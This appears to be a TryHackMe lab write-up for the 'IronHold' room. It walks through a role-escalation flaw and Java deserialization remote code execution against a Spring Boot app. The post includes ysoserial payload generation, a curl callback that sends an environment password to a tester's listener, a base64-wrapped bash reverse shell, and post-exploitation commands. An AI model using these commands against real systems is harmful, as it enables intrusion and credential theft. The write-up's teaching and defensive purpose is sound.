IronHold — TryHackMe
Room overview
IronHold is presented as a correctional-facility management system with a staff login and several internal administration features.
From the observed HTTP responses and the supplied Maven build file, I could confirm the following:
- The application is a Java web application.
- It is built with Spring Boot 2.7.18.
- It uses Spring MVC, Thymeleaf, Spring Data JPA, Actuator, Spring Security Crypto, and an H2 runtime database.
- The build also includes the legacy commons-collections dependency in the 3.2x range.
- The application targets Java 11.
- The visible web interface includes staff login, dashboard, profile, staff administration, and import/export functionality.
The accessible pom.xml confirms the framework and dependency set. The Java controller implementations were not available to me through the shared source folder, so I do not claim that a specific annotation, controller method, or deserialization class was source-code verified.
The practical attack chain observed in the lab was:
- Enumerate the public login page and application behavior.
- Authenticate as a normal officer using lab credentials.
- Find a staff-management area exposed through the authenticated interface.
- Modify my own role from OFFICER to WARDEN through the profile update request.
- Access the administrative import/export functionality.
- Test the import parser with a serialized object payload.
- Confirm the import format by exporting a valid object and importing it again.
- Use the lab’s Java deserialization path to execute a controlled callback.
- Read environment values and the final flag from the container.
The supplied notes contain masked values for most flags. I preserve those masks rather than inventing missing flag text.
Let’s go find out flags:
Enumeration and initial access
For the command examples below, the following attachment marker points back to the original command notes:
Set the target variable
export T=http://10.49.146.191:8080I stored the lab target in the T environment variable. This keeps later commands shorter and makes it easier to replace the address when restarting the room.
The address is a private TryHackMe lab IP. It is not a public production host.
Request the home page
curl -i — max-time 10 “$T/”The -i option includes response headers, while — max-time 10 prevents the request from waiting indefinitely.
The response was a successful HTTP/1.1 200 and set a JSESSIONID cookie:
HTTP/1.1 200
Set-Cookie: JSESSIONID=YOUR_ID; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Language: en-USThe page title identified the application as Ironhold Correctional | Staff Login. The HTML also showed a POST form at /login and links to /about and /status.
The HttpOnly attribute is a useful defensive setting because it prevents ordinary JavaScript from reading the session cookie. It does not, by itself, prevent server-side session attacks or authorization problems.
Remove any old cookie file
rm -f cookies.txtI removed any existing cookie file so that the next login would start with a clean session. This is a small but important habit during web testing: stale cookies can make results confusing.
Submit the lab login form
curl -i -c cookies.txt -b cookies.txt -L \\
d ‘username=j.reyes’ \\
— data-urlencode ‘password=IronholdStaff2026!’ \\
“$T/login”This request submits the login form as the lab user j.reyes.
- c cookies.txt saves cookies received from the server.
- b cookies.txt sends cookies already stored in that file.
- L follows redirects.
- d sends the username as form data.
- - -data-urlencode safely URL-encodes the password value.
The server returned a redirect to /dashboard and issued a new session:
HTTP/1.1 302
Set-Cookie: JSESSIONID=80F5099CCDC179CED2BB0D565A11E4DC; Path=/; HttpOnly
Location: <http://10.49.146.191:8080/dashboard;jsessionid=80F5099CCDC179CED2BB0D565A11E4DC>After following the redirect, the page showed Officer J. Reyes with the role OFFICER.
The lab notes include a staff password in this command. Treat it as disposable training data. It should never be reused for a real account.
Save the authenticated dashboard
curl -i -b cookies.txt “$T/dashboard” -o dashboard.htmlThis request sends the saved session cookie and writes the dashboard response to dashboard.html. Saving pages locally makes it easier to search for notices, links, and accidental disclosures.
Search the dashboard for useful terms
grep -inE ‘flag|notice|kiosk|ironhold\\{‘ dashboard.htmlThe options mean:
- i: ignore letter case.
- n: show line numbers.
- E: use an extended regular expression.
The dashboard contained a shift-handover notice mentioning a shared kiosk account. It also exposed the first lab flag in the notice:
Flag: THM{********}This was a good example of why authenticated content deserves the same attention as unauthenticated content. The login page itself did not reveal this information, but the dashboard did.
Finding the role modification weakness
The dashboard navigation included an Admin Panel link. As an officer, I first checked the staff listing.
Request the staff administration page
curl -sS -b cookies.txt “$T/admin/staff” | grep -iE ‘warden|kiosk|j.reyes|m.chen’The -sS combination keeps normal progress output quiet but still shows errors. The response was filtered for usernames and role-related entries.
The staff page exposed records for accounts including:
- kiosk
- warden
- j.reyes
- m.chen
The important question was not simply whether the page existed. It was whether the server actually enforced the displayed role before allowing sensitive operations.
Submit a profile update with a changed role
curl -i -b cookies.txt -c cookies.txt \\
--X POST “$T/profile/update” \\
-- data-urlencode 'fullName=Officer J. Reyes' \\
-- data-urlencode 'email=j.reyes@ironhold.example' \\
-- data-urlencode 'badgeNumber=O-104' \\
-- data-urlencode 'role=WARDEN'This request is the key authorization test. The form includes a role field, so I checked whether the server trusted the client-provided value instead of assigning the role from a protected server-side rule.
The server accepted the request and redirected back to /profile:
HTTP/1.1 302
Location: <http://10.49.146.191:8080/profile>
Content-Language: en-USThe behavior indicates an insecure role modification or mass-assignment-style authorization flaw. A normal officer should not be able to promote the account by changing a form field.
The notes do not include the source controller, so the exact implementation mechanism remains unverified. The observed behavior is enough to document the vulnerability in the lab, but it is more precise to say “the role value was accepted from the request” than to claim a particular Spring binding annotation.
Verify the changed role in staff administration
curl -i -b cookies.txt “$T/admin/staff”The staff administration page now showed j.reyes as a WARDEN:
<td>j.reyes</td>
<td>Officer J. Reyes</td>
<td>O-104</td>
<td><span class="badge warden">WARDEN</span></td>This confirmed that the role change was not only reflected in the profile page. It affected authorization state used by the administration area.
Inspect the warden record
curl -sS -b cookies.txt “$T/admin/staff/2” -o warden.htmlI saved the warden record to a local file for review.
Search the record for account fields
grep -iE ‘username|password|email|badge|role|flag’ warden.htmlThe record showed the warden username, email, badge, and role, but no password:
Username: warden
Email: e.castellan@ironhold.example
Badge: W-001
Role: WARDENThis distinction matters. Discovering an account identifier is not the same as recovering authentication material. In this room, the useful path was the authorization flaw — not password guessing.
Understanding the Java deserialization path
The shared pom.xml confirmed two important facts:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.18</version>
</parent>
<properties>
<java.version>11</java.version>
</properties>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>[3.2,3.2.2)</version>
</dependency>The dependency list is consistent with a Java application that may be exposed to classic Java serialization gadget chains. However, a dependency alone does not prove a deserialization vulnerability. The vulnerable behavior comes from how the application reads and processes attacker-controlled bytes.
In this lab, the behavior was observable through /admin/import and /admin/export:
- /admin/export returned a base64-encoded serialized object.
- /admin/import accepted base64 text and reconstructed an object.
- The import response named the class it accepted.
The Java source tree was not available for direct inspection through the shared folder, so the exact deserialization call is not source-code verified here. The conclusion below is based on the command output and endpoint behavior recorded in the notes.
Download the lab serialization helper
wget -O ysoserial-all.jar \\
<https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar>The command downloads the ysoserial release into a file named ysoserial-all.jar.
This tool is being used only for the authorized lab. Its purpose here is to generate test data for the vulnerable application’s import parser. It should not be used against systems without permission.
Define a lab-only callback command
CMD=’curl -sS -X POST — data-binary “$(printenv WARDEN_PASSWORD)” [http://USE_YOUR_IP:8000/'](http://use_your_ip:8000/%27)The callback command reads the WARDEN_PASSWORD environment variable inside the lab container and sends it to a listener controlled by the tester.
USE_YOUR_IP is intentionally a placeholder. It must refer only to the tester’s own lab listener. The command is not a general-purpose attack instruction and should never be pointed at a third party.
Generate a serialized test payload
java \\
— add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \\
- add-opens java.base/java.util=ALL-UNNAMED \\
- add-opens java.base/java.lang=ALL-UNNAMED \\
- add-opens java.base/java.lang.reflect=ALL-UNNAMED \\
- jar ysoserial-all.jar CommonsCollections1 "$CMD" \\
| base64 -w0 > payload.b64This command asks ysoserial to create a CommonsCollections1 serialized object and then base64-encodes the binary output into payload.b64.
The add-opens flags are Java module options that allow the helper to access selected internal packages under the lab’s Java runtime. They are a compatibility detail for the payload generator, not a fix for the server-side issue.
Check the generated file
ls -lh payload.b64The notes showed a payload of about 2 KB. This confirms that the generator produced output, but it does not prove that the target will accept or execute it.
Get Fuad Hasan’s stories in your inbox
Join Medium for free to get updates from this writer.
Submit the generated payload
curl -i -b cookies.txt \\
-- X POST “$T/admin/import” \\
-- H ‘Content-Type: text/plain’ \\
-- data-binary @payload.b64The request sends the base64 payload as plain text to the administrative import endpoint.
The server rejected it:
HTTP/1.1 500
Content-Type: text/plain;charset=UTF-8
Import failed: batch could not be read.This failure was useful. It showed that the endpoint was parsing a structured serialized format, but the first generated object did not match the application’s expected format or processing path.
Confirming the expected import format
Export a valid object from the application
curl -sS -b cookies.txt “$T/admin/export” -o export.b64Instead of guessing the expected format, I asked the application to export one of its own valid objects.
Check the export size
wc -c export.b64The export was 324 bytes. Size alone is not a security test, but it confirms that the endpoint returned a compact base64 representation.
Inspect the beginning of the export
head -c 40 export.b64; echoThe notes showed the text:
SHOW YOUR COOKIEThat output is part of the room’s challenge behavior. It also reinforces that the export endpoint is not returning ordinary JSON or a normal HTML document.
Re-import the application’s own export
curl -i -b cookies.txt \\
-- X POST “$T/admin/import” \\
-- H ‘Content-Type: text/plain’ \\
-- data-binary @export.b64This time the server accepted the data:
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Batch accepted: ImportManifestThis was the important format-validation step. It demonstrated that the endpoint accepts a serialized ImportManifest object and that the earlier failure was caused by an incompatible object, not by a closed endpoint.
A secure application should not deserialize untrusted data merely because it is base64-encoded. Base64 is an encoding, not a security boundary.
Validating code execution in the lab
Start a lab-only listener
nc -lvnp 8000This starts a TCP listener on port 8000. The listener is controlled by the tester and is used only to observe the callback from the TryHackMe target.
The notes recorded a connection from the target:
connect to [192.168.162.72] from (UNKNOWN) [10.49.146.191] 41492
POST / HTTP/1.1
Host: 192.168.162.72:8000
User-Agent: curl/7.81.0
The request body included environment values from the lab container, including:
HOSTNAME=f62a3262ffed
JAVA_HOME=/opt/java/openjdk
PWD=/app
WARDEN_PASSWORD=[lab-only value]
KIOSK_PW=[lab-only value]
JAVA_VERSION=jdk-11.0.31+11The original notes contain the actual lab-only values. I do not reproduce them here because they are not needed to understand the vulnerability.
The callback confirmed that the server processed the serialized object in a way that reached command execution. In a real application, this would be a critical remote-code-execution condition.
Building the second-stage shell payload
The first callback demonstrated command execution, but I wanted a more interactive shell for post-exploitation enumeration inside the room.
Generate the shell payload
java \\
-- add-opens java.base/java.util=ALL-UNNAMED \\
-- jar ysoserial-all.jar CommonsCollections6 \\
'bash -c {echo,YOUR_COOKIE}|{base64,-d}|{bash,-i}’ \\
> shell.binThis generates a CommonsCollections6 serialized object whose command decodes a supplied shell string and starts it. YOUR_COOKIE is a placeholder from the notes and represents the tester’s lab callback data.
The exact gadget chain is less important than the security lesson: when an application reconstructs attacker-controlled Java objects, a gadget chain may turn object creation into command execution.
Base64-encode the binary object
base64 -w0 shell.bin > shell.b64The import endpoint expects text, so I encoded the binary serialized object into a single base64 line.
Check both payload files
ls -lh shell.bin shell.b64The notes showed the binary object and its base64 representation. This is a basic sanity check before sending data to the lab application.
Submit the second-stage object
curl -i -b cookies.txt \\
-- X POST “<http://10.49.146.191:8080/admin/import>" \\
-- H ‘Content-Type: text/plain’ \\
-- data-binary @shell.b64The server accepted the object:
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Batch accepted: HashSetThe response naming HashSet was another clue that the import path was reconstructing Java collection objects rather than parsing a safe data format such as JSON.
Receive the lab shell
nc -lvnp 8000
The listener received a shell from the target container:
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
appuser@f62a3262ffed:/app$This was a non-interactive shell, so job control was unavailable. That is normal for a simple callback and was sufficient for the room’s file and environment enumeration.
Post-exploitation enumeration inside the lab container
Search environment variables for challenge data
env | grep -iE ‘flag|secret|gate|door’The command lists environment variables and filters for likely challenge terms. The container exposed several masked flag variables:
FLAG3_SECRET=THM{**********}
FLAG2_SECRET=THM{***********}
FLAG1_SECRET=THM{************}The notes contained masked values, so I keep them masked rather than filling in missing characters.
List the application directory
lsThe working directory contained:
app.jar
docker-entrypoint.shThe application was running from /app as the lower-privileged appuser account.
Show permissions and file sizes
ls -laThe output showed that app.jar and the entrypoint script were owned by appuser. This did not immediately provide a host-level privilege escalation path, so I continued looking through the container filesystem.
Move to the filesystem root
cd ..I moved from /app to the filesystem root to inspect top-level directories.
List the root directory
ls -laThe root listing showed a dedicated /opt directory and confirmed the container layout.
Enter /opt
cd optThe /opt directory is commonly used for application-specific files. In this room it contained an ironhold directory as well as the Java runtime.
List /opt
lsThe output included:
ironhold
javaEnter the application-specific directory
cd ironholdI entered the directory that appeared to be dedicated to the IronHold challenge files.
List the directory contents
lsThe directory contained a file named flag.txt.
Read the final lab flag
cat flag.txtThe command returned the final flag in the notes as a masked value:
THM{*************}That completed the room’s observed attack chain.
What made the chain work?
The room combined multiple weaknesses rather than relying on one isolated bug.
1. Client-controlled authorization data
The profile update accepted a role value supplied by the client. A secure design would never allow a normal officer to choose a privileged role through a form field.
The server should enforce role changes through a dedicated, privileged workflow. It should also allow-list updateable fields instead of binding every request parameter directly to a user object.
2. Sensitive administration exposed after the role change
Once the role changed to WARDEN, the same session could access staff administration and import/export functionality. This shows why authorization must be checked on every sensitive endpoint, not only on the navigation page.
Hiding an admin link is not access control.
3. Unsafe deserialization
The import endpoint reconstructed Java objects from client-controlled data. The use of base64 did not make the data safe. It only changed the representation.
The safer choices would be:
- Use a strict data-transfer format such as JSON.
- Define a small schema and validate every field.
- Reject unexpected properties and types.
- Never deserialize arbitrary Java objects from untrusted input.
- Apply allow-list filters if legacy serialization cannot immediately be removed.
- Remove unnecessary gadget-producing dependencies.
4. Secrets stored in the environment
The callback exposed challenge values through environment variables. In production, passwords and secrets should not be broadly available to application processes unless required.
Secrets should be managed through a dedicated secrets-management system, rotated regularly, and prevented from appearing in logs or diagnostic output.
Defensive takeaways for developers
A safer implementation would address the chain at several layers:
- Protect role fields. Do not bind role, isAdmin, permissions, or similar fields from ordinary profile forms.
- Authorize server-side. Check the authenticated principal and required permission at every admin endpoint.
- Remove native Java deserialization. Prefer JSON or another schema-validated format.
- Constrain object types. If serialization is unavoidable, use strict allow-lists and a modern filtering strategy.
- Review dependencies. Remove old gadget-friendly libraries where they are not needed and keep dependencies patched.
- Protect secrets. Avoid placing high-value credentials in broadly readable environment variables.
- Log and alert on role changes. A sudden officer-to-warden change should be visible and ideally require an explicit privileged approval.
- Test the full workflow. Authorization testing must include direct requests, not only visible UI controls.
Thanks to all. See you soon!







